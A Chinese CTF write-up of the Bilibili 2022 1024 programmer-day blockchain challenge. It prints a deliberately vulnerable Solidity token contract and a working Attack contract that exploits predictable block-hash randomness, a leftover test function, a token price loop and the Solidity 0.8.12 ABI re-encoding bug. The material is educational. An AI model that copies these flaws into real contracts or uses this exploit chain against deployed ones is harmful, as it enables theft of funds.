[原创]2022哔哩哔哩 1024程序员节 T4 区块链详解
2022-11-1 18:52:28 Author: bbs.pediy.com(查看原文) 阅读量:9 收藏

这一次1024程序员节中有区块链相关的题目,作为今年才开始起步区块链的小萌新,这一题也是整整看了一整个周末才做出来,不过做出来之后也是相当的具有成就感滴:),话不多说,我们现在就来看一看如何做出这一题.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

336

337

338

339

340

341

342

343

344

345

346

347

348

349

350

351

352

353

354

355

356

357

358

359

360

361

362

363

364

365

366

367

368

369

370

371

372

373

374

375

376

377

378

379

380

381

382

383

384

385

386

387

388

389

390

391

392

393

394

395

396

397

398

399

400

401

402

403

404

405

406

// SPDX-License-Identifier: MIT

// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)

pragma solidity 0.8.12;

import "./IERC20.sol";

import "./IERC20Metadata.sol";

import "./Context.sol";

//import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

//import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";

//import "@openzeppelin/contracts/utils/Context.sol";

struct Coupon {

    uint loankey;

    uint256 amount;

    address buser;

    bytes reason;

}

struct Signature {

    uint8 v;

    bytes32[2] rs;

}

struct SignCoupon {

    Coupon coupon;

    Signature signature;

}

contract MyToken is Context, IERC20, IERC20Metadata {

    mapping(address => uint256) public _balances;

    mapping(address => uint) public _ebalances;

    mapping(address => uint) public ethbalances;

    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => uint) public _profited;

    mapping(address => uint) public _auth_one;

    mapping(address => uint) public _authd;

    mapping(address => uint) public _loand;

    mapping(address => uint) public _flag;

    mapping(address => uint) public _depositd;

    uint256 private _totalSupply;

    string private _name;

    string private _symbol;

    address owner;

    address backup;

    uint secret;

    uint tokenprice;

    Coupon public c;

    address public lala;

    address public xixi;

    //mid = bilibili uid

    //b64email = base64(your email address)

    //Don't leak your bilibili uid

    //Gmail is ok. 163 and qq may have some problems.

    event sendflag(string mid, string b64email);

    event changeprice(uint secret_);

    constructor(string memory name_, string memory symbol_, uint secret_) {

        _name = name_;

        _symbol = symbol_;

        owner = msg.sender;

        backup = msg.sender;

        tokenprice = 6;

        secret = secret_;

        _mint(owner, 2233102400);

    }

    modifier onlyowner() {

        require(msg.sender == owner);

        _;

    }

    /**

     * @dev Returns the name of the token.

     */

    function name() public view virtual override returns (string memory) {

        return _name;

    }

    function symbol() public view virtual override returns (string memory) {

        return _symbol;

    }

    function decimals() public view virtual override returns (uint8) {

        return 18;

    }

    /**

     * @dev See {IERC20-totalSupply}.

     */

    function totalSupply() public view virtual override returns (uint256) {

        return _totalSupply;

    }

    /**

     * @dev See {IERC20-balanceOf}.

     */

    function balanceOf(address account) public view virtual override returns (uint256) {

        return _balances[account];

    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {

        address owner = _msgSender();

        _transfer(owner, to, amount);

        return true;

    }

    function deposit() public {

        require(_depositd[msg.sender] == 0, "you can only deposit once");

        _depositd[msg.sender] = 1;

        ethbalances[msg.sender] += 1;

    }

    function getBalance() public view returns (uint) {

        return address(this).balance;                  

    }

    function setbackup() public onlyowner {

        owner = backup;

    }

    function ownerbackdoor() public {

        require(msg.sender == owner);

        _mint(owner, 1000);

    }

    function auth1(uint pass_) public {

        require(pass_ == secret, "auth fail");

        require(_authd[msg.sender] == 0, "already authd");

        _auth_one[msg.sender] += 1;

        _authd[msg.sender] += 1;

    }

    function auth2(uint pass_) public {

        uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));

        require(pass == pass_, "password error, auth fail");

        require(_auth_one[msg.sender] == 1, "need pre auth");

        require(_authd[msg.sender] == 1, "already authd");

        _authd[msg.sender] += 1;

    }

    function payforflag(string memory mid, string memory b64email) public {

        require(_flag[msg.sender] == 2);

        emit sendflag(mid, b64email);

    }

    function flashloan(SignCoupon calldata scoupon) public {

        require(scoupon.coupon.loankey == 0, "loan key error");

        require(msg.sender == address(this), "hacker get out");

        Coupon memory coupon = scoupon.coupon;

        Signature memory sig = scoupon.signature;

        c=coupon;

        require(_authd[scoupon.coupon.buser] == 2, "need pre auth");

        require(_loand[scoupon.coupon.buser] == 0, "you have already loaned");

        require(scoupon.coupon.amount <= 300, "loan amount error");

        _loand[scoupon.coupon.buser] = 1;

        _ebalances[scoupon.coupon.buser] += scoupon.coupon.amount;

    }

    function profit() public {

        require(_profited[msg.sender] == 0);

        _profited[msg.sender] += 1;

        _transfer(owner, msg.sender, 1);

    }

    function borrow(uint amount) public {

        require(amount == 1);

        require(_profited[msg.sender] <= 1);

        _profited[msg.sender] += 1;

        _transfer(owner, msg.sender, amount);

    }

    function buy(uint amount) public {

        require(amount <= 300, "max buy count is 300");

        uint price;

        uint ethmount = _ebalances[msg.sender];

        if (ethmount < 10) {

            price = 1000000;

        } else if (ethmount >= 10 && ethmount <= 233) {

            price = 10000;

        } else {

            price = 1;

        }

        uint payment = amount * price;

        require(payment <= ethmount);

        _ebalances[msg.sender] -= payment;

        _transfer(owner, msg.sender, amount);

    }

    function sale(uint amount) public {

        require(_balances[msg.sender] >= amount, "fail to sale");

        uint earn = amount * tokenprice;

        _transfer(msg.sender, owner, amount);

        _ebalances[msg.sender] += earn;

    }

    function withdraw() public {

        require(ethbalances[msg.sender] >= 1);

        require(_ebalances[msg.sender] >= 1812);

        payable(msg.sender).call{value:100000000000000000 wei}("");

        _ebalances[msg.sender] = 0;

        _flag[msg.sender] += 1;

    }

    /**

     * @dev See {IERC20-allowance}.

     */

    function allowance(address owner, address spender) public view virtual override returns (uint256) {

        return _allowances[owner][spender];

    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {

        address owner = _msgSender();

        _approve(owner, spender, amount);

        return true;

    }

    function transferFrom(

        address from,

        address to,

        uint256 amount

    ) public virtual override returns (bool) {

        require(msg.sender == owner);     //不允许被owner以外调用

        address spender = _msgSender();

        _spendAllowance(from, spender, amount);

        _transfer(from, to, amount);

        return true;

    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {

        require(msg.sender == owner);     //不允许被owner以外调用

        address owner = _msgSender();

        _approve(owner, spender, allowance(owner, spender) + addedValue);

        return true;

    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {

        require(msg.sender == owner);     //不允许被owner以外调用

        address owner = _msgSender();

        uint256 currentAllowance = allowance(owner, spender);

        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");

        unchecked {

            _approve(owner, spender, currentAllowance - subtractedValue);

        }

        return true;

    }

    function _transfer(

        address from,

        address to,

        uint256 amount

    ) internal virtual {

        require(from != address(0), "ERC20: transfer from the zero address");

        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];

        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");

        unchecked {

            _balances[from] = fromBalance - amount;

            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by

            // decrementing then incrementing.

            _balances[to] += amount;

        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);

    }

    function _mint(address account, uint256 amount) internal virtual {

        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;

        unchecked {

            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.

            _balances[account] += amount;

        }

        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);

    }

    function _burn(address account, uint256 amount) internal virtual {

        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];

        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");

        unchecked {

            _balances[account] = accountBalance - amount;

            // Overflow not possible: amount <= accountBalance <= totalSupply.

            _totalSupply -= amount;

        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);

    }

    function _approve(

        address owner,

        address spender,

        uint256 amount

    ) internal virtual {

        require(owner != address(0), "ERC20: approve from the zero address");

        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;

        emit Approval(owner, spender, amount);

    }

    function _spendAllowance(

        address owner,

        address spender,

        uint256 amount

    ) internal virtual {

        uint256 currentAllowance = allowance(owner, spender);

        if (currentAllowance != type(uint256).max) {

            require(currentAllowance >= amount, "ERC20: insufficient allowance");

            unchecked {

                _approve(owner, spender, currentAllowance - amount);

            }

        }

    }

    function _beforeTokenTransfer(

        address from,

        address to,

        uint256 amount

    ) internal virtual {}

    function _afterTokenTransfer(

        address from,

        address to,

        uint256 amount

    ) internal virtual {}

    // debug param secret

    function get_secret() public view returns (uint) {

        require(msg.sender == owner);

        return secret;

    }

    // debug param tokenprice

    function get_price() public view returns (uint) {

        return tokenprice;

    }

    // test need to be delete

    function testborrowtwice(SignCoupon calldata scoupon) public {

        require(scoupon.coupon.loankey == 2233);

        MyToken(this).flashloan(scoupon);

    }

    // test need to be delete

    function set_secret(uint secret_) public onlyowner {

        secret = secret_;

        emit changeprice(secret_);

    }

}

接下来要做的就是寻找函数使_flag[msg.sender]的值到2.

通过寻找,我们找到了withdraw这个函数,而这个函数的执行需要满足两个条件,分别是ethbalances[msg.sender] >= 1_ebalances[msg.sender] >= 1812.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

function profit() public {

        require(_profited[msg.sender] == 0);

        _profited[msg.sender] += 1;

        _transfer(owner, msg.sender, 1);

    }

    function borrow(uint amount) public {//获得1个_balances

        require(amount == 1);

        require(_profited[msg.sender] <= 1);

        _profited[msg.sender] += 1;

        _transfer(owner, msg.sender, amount);

    }

    function buy(uint amount) public {//通过出售_ebalances购买_balances

        require(amount <= 300, "max buy count is 300");

        uint price;

        uint ethmount = _ebalances[msg.sender];

        if (ethmount < 10) {

            price = 1000000;

        } else if (ethmount >= 10 && ethmount <= 233) {

            price = 10000;

        } else {

            price = 1;

        }

        uint payment = amount * price;

        require(payment <= ethmount);

        _ebalances[msg.sender] -= payment;

        _transfer(owner, msg.sender, amount);

    }

    function sale(uint amount) public {//通过出售_balances获得_ebalances

        require(_balances[msg.sender] >= amount, "fail to sale");

        uint earn = amount * tokenprice;

        _transfer(msg.sender, owner, amount);

        _ebalances[msg.sender] += earn;

    }

我们看看profit这个函数,只能运行一次,获得一个_balances;而borrow这个函数,一共可以执行两次获得两个_balances.但是这两个函数都有_profited[msg.sender]这个变量进行限制,也就是说,我们最多只能通过profitborrow函数获得2个_balances.

那么_balances有什么用呢?看一看sale函数,我们可以把_balances卖掉得到_ebalances,其中tokenprice已经被定义为6了,所以_balances_ebalances之间的兑换比例为1:6.

buy这个函数,只有当_ebalances大于233时,_ebalances_balances之间的兑换比例才是1:1.

仔细看看上面两段话,稍微思考一下就可以明白,只要我的_ebalances比233要大,那么不就可以通过与_balances互刷的方式不断增加我的_ebalances从而满足条件2_ebalances[msg.sender] >= 1812?!

这里我举个简单的例子,假设我现在有_ebalances300个,那么我可以通过buy(300)获得_balances300个,随后在通过sale(300)获得_ebalances300*6=1800个,然后再重复上面的过程,那么我的_ebalances不久可以源源不断的增加的吗~~~~

我们知道每一个初始账号都可以固定获得2个_balances,那么我们能否通过小号为大号通过transfer方法发送_balances的方法获得足够数量的_balances呢?答案是可行的.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

function flashloan(SignCoupon calldata scoupon) public {

        require(scoupon.coupon.loankey == 0, "loan key error");

        require(msg.sender == address(this), "hacker get out");

        Coupon memory coupon = scoupon.coupon;

        Signature memory sig = scoupon.signature;

        c=coupon;

        require(_authd[scoupon.coupon.buser] == 2, "need pre auth");

        require(_loand[scoupon.coupon.buser] == 0, "you have already loaned");

        require(scoupon.coupon.amount <= 300, "loan amount error");

        _loand[scoupon.coupon.buser] = 1;

        _ebalances[scoupon.coupon.buser] += scoupon.coupon.amount;

    }

不过直接编写攻击合约来调用这个函数肯定是不行滴,因为require(msg.sender == address(this), "hacker get out")这一句的限制了,咋办嘞?

不过flashloan内还有限制条件require(_authd[scoupon.coupon.buser] == 2, "need pre auth"),就是说需要验证的意思,我们找找这两个验证函数auth1auth2

1

2

3

4

5

6

7

8

9

10

11

12

13

14

function auth1(uint pass_) public {

        require(pass_ == secret, "auth fail");

        require(_authd[msg.sender] == 0, "already authd");

        _auth_one[msg.sender] += 1;

        _authd[msg.sender] += 1;

    }

    function auth2(uint pass_) public {

        uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));

        require(pass == pass_, "password error, auth fail");

        require(_auth_one[msg.sender] == 1, "need pre auth");

        require(_authd[msg.sender] == 1, "already authd");

        _authd[msg.sender] += 1;

    }

这个我们玩区块链的根本不慌滴,区块链的每一笔交易都是有记录的,我们直接去看最早的交易记录.

1

2

3

4

5

6

7

function auth2(uint pass_) public {

        uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));

        require(pass == pass_, "password error, auth fail");

        require(_auth_one[msg.sender] == 1, "need pre auth");

        require(_authd[msg.sender] == 1, "already authd");

        _authd[msg.sender] += 1;

    }

当我看到uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))这个的时候,我瞬间乐开了花,这我可太熟悉不过了~

uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))这玩意儿看着随机,其实是确定的!

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.12;

import "./ctf.sol";

contract Attack {

    MyToken public mytoken;

    constructor(address _MyTokenAddress) {//_MyTokenAddress是题目的合约地址

        mytoken = MyToken(_MyTokenAddress);

    }

    receive() external payable {}

    function attack() public{

        mytoken.deposit();//满足ethbalances[msg.sender] >= 1

        mytoken.borrow(1);

        mytoken.borrow(1);//得到两个_balances

        mytoken.auth1(22331024);//第一个验证

        uint answer = uint(

            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))

        );

        mytoken.auth2(answer);//第二个验证

        SignCoupon memory scoupon;

        scoupon.coupon.loankey=2233;

        scoupon.coupon.amount=300;

        scoupon.coupon.buser=address(this);

        mytoken.testborrowtwice(scoupon);//获得_ebalances 300

        mytoken.buy(302);//用_ebalances去换_balances 302

        mytoken.transfer(adrress(你自己的账户地址),302);//给你的大号转账_balances 302

    }

    function getBalance() public view returns (uint) {

        return address(this).balance;

    }

}

这里简单说明一下为什么将scoupon.coupon.loankey赋值为2233通过testborrowtwice后,在flashloan函数中scoupon.coupon.loankey又变为0,这是由于solidity0.8.12编译器自身原因导致了这个bug,从而使得第一个成员变量的值清零,在solidity0.8.16后这个问题得到了修复.

1

2

3

4

5

6

7

8

9

10

"uid": "SOL-2022-6",

"name": "AbiReencodingHeadOverflowWithStaticArrayCleanup",

"summary": "ABI-encoding a tuple with a statically-sized calldata array in the last component would corrupt 32 leading bytes of its first dynamically encoded component.",

"description": "When ABI-encoding a statically-sized calldata array, the compiler always pads the data area to a multiple of 32-bytes and ensures that the padding bytes are zeroed. In some cases, this cleanup used to be performed by always writing exactly 32 bytes, regardless of how many needed to be zeroed. This was done with the assumption that the data that would eventually occupy the area past the end of the array had not yet been written, because the encoder processes tuple components in the order they were given. While this assumption is mostly true, there is an important corner case: dynamically encoded tuple components are stored separately from the statically-sized ones in an area called the *tail* of the encoding and the tail immediately follows the *head*, which is where the statically-sized components are placed. The aforementioned cleanup, if performed for the last component of the head would cross into the tail and overwrite up to 32 bytes of the first component stored there with zeros. The only array type for which the cleanup could actually result in an overwrite were arrays with ``uint256`` or ``bytes32`` as the base element type and in this case the size of the corrupted area was always exactly 32 bytes. The problem affected tuples at any nesting level. This included also structs, which are encoded as tuples in the ABI. Note also that lists of parameters and return values of functions, events and errors are encoded as tuples.",

"introduced": "0.5.8",

"fixed": "0.8.16",

"severity": "medium",

"conditions": {

    "ABIEncoderV2": true

}

说一说感受吧,每次做区块链的题目都感觉特别有意思,其实本人过去是学习逆向工程的 ,今年才开始接触区块链,解区块链题目的过程说实话,和逆向分析真的好像哇,都是一个逆向的过程,分析需要满足的条件,然后设法编写合约来让条件得到满足,最终满足所有需要的条件之后获得flag ,好玩好玩,嘿嘿(●ˇ∀ˇ●)


文章来源: https://bbs.pediy.com/thread-274959.htm
如有侵权请联系:admin#unsafe.sh